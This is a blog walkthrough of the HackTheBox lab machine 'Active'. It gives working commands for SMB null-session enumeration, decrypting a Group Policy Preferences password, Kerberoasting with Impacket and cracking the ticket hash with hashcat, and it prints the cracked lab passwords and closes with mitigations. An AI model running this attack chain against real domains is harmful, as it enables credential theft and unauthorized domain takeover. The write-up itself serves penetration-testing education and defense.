Skip to main content

HackTheBox | Active - Active Directory Kerberoasting Attack"

Published Markdown
Part of seriesActive directory
HackTheBox | Active - Active Directory Kerberoasting Attack"
## Executive Summary

Active is an Active Directory machine that introduces core AD attack techniques including SMB enumeration, GPP password retrieval, and Kerberoasting for privilege escalation.

## Reconnaissance

### Nmap Scan

```bash
sudo nmap -A 10.10.10.100 -p-

Key Findings:

  • Port 53/tcp: Domain Name System

  • Port 88/tcp: Kerberos (Active Directory confirmed)

  • Port 135/tcp: RPC Endpoint Mapper

  • Port 139/tcp: NetBIOS Session Service

  • Port 389/tcp: LDAP

  • Port 445/tcp: SMB

  • Port 464/tcp: Kerberos Password Change

  • Port 593/tcp: RPC over HTTP

  • Port 636/tcp: LDAP over SSL

Initial Enumeration

SMB Null Session Enumeration

enum4linux -a -u "" -p "" 10.10.10.100

Accessible Share: Replication (via NULL session)

SMB Share Access

smbclient \\\\10.10.10.100\\Replication

GPP Password Exploitation

Critical Discovery

Group.xml file found in SMB share containing:

  • Username: svc_tgs

  • Encrypted cPassword

Password Decryption

# Using gpp-decrypt
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

Decrypted Password: GPPstillStandingStrong2k18

Initial Access

User Flag

With valid credentials, access user shares:

smbclient \\\\10.10.10.100\\Users -U svc_tgs

User Flag Location: SVC_TGS\Desktop\user.txt

Privilege Escalation

Kerberoasting Attack

Using Impacket:

GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100 -request

SPN Discovered:

  • active/CIFS:445 - Administrator account

Hash Extraction

TGS Ticket Hash:

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS*$HASH_PART

Password Cracking

Hashcat Command:

hashcat -m 13100 administrator.hash /usr/share/wordlists/rockyou.txt

Cracked Administrator Password: Ticketmaster1968

Domain Compromise

Domain Admin Access

With Administrator credentials, access all shares:

smbclient \\\\10.10.10.100\\C$ -U Administrator

Root Flag

Location: C:\Users\Administrator\Desktop\root.txt

Key Takeaways

  1. GPP Passwords: Legacy Group Policy Preferences store passwords insecurely

  2. Kerberoasting: Service accounts with SPNs can be targeted for offline cracking

  3. SMB Security: Restrict NULL session access and share permissions

  4. Active Directory: Regular security audits and monitoring are essential

Attack Chain Summary

  1. SMB NULL session → Discover Replication share

  2. GPP file extraction → Obtain user credentials

  3. Kerberoasting → Extract service account TGS tickets

  4. Offline cracking → Obtain Administrator password

  5. Domain compromise → Full system access

Mitigation Strategies

  • Remove GPP files containing passwords

  • Implement strong service account passwords

  • Monitor Kerberos events for roasting attacks

  • Restrict SMB anonymous access

  • Regular AD security assessments

Tools Used

  • enum4linux: SMB enumeration

  • smbclient: SMB share access

  • gpp-decrypt: GPP password decryption

  • Impacket: Kerberoasting

  • Hashcat: Password cracking


This walkthrough demonstrates fundamental Active Directory attack techniques essential for penetration testing and red team engagements.

About the author

  • Just another guy documenting his journey into cybersecurity with the hopes of inspiring others

No comments yet. Be the first to comment.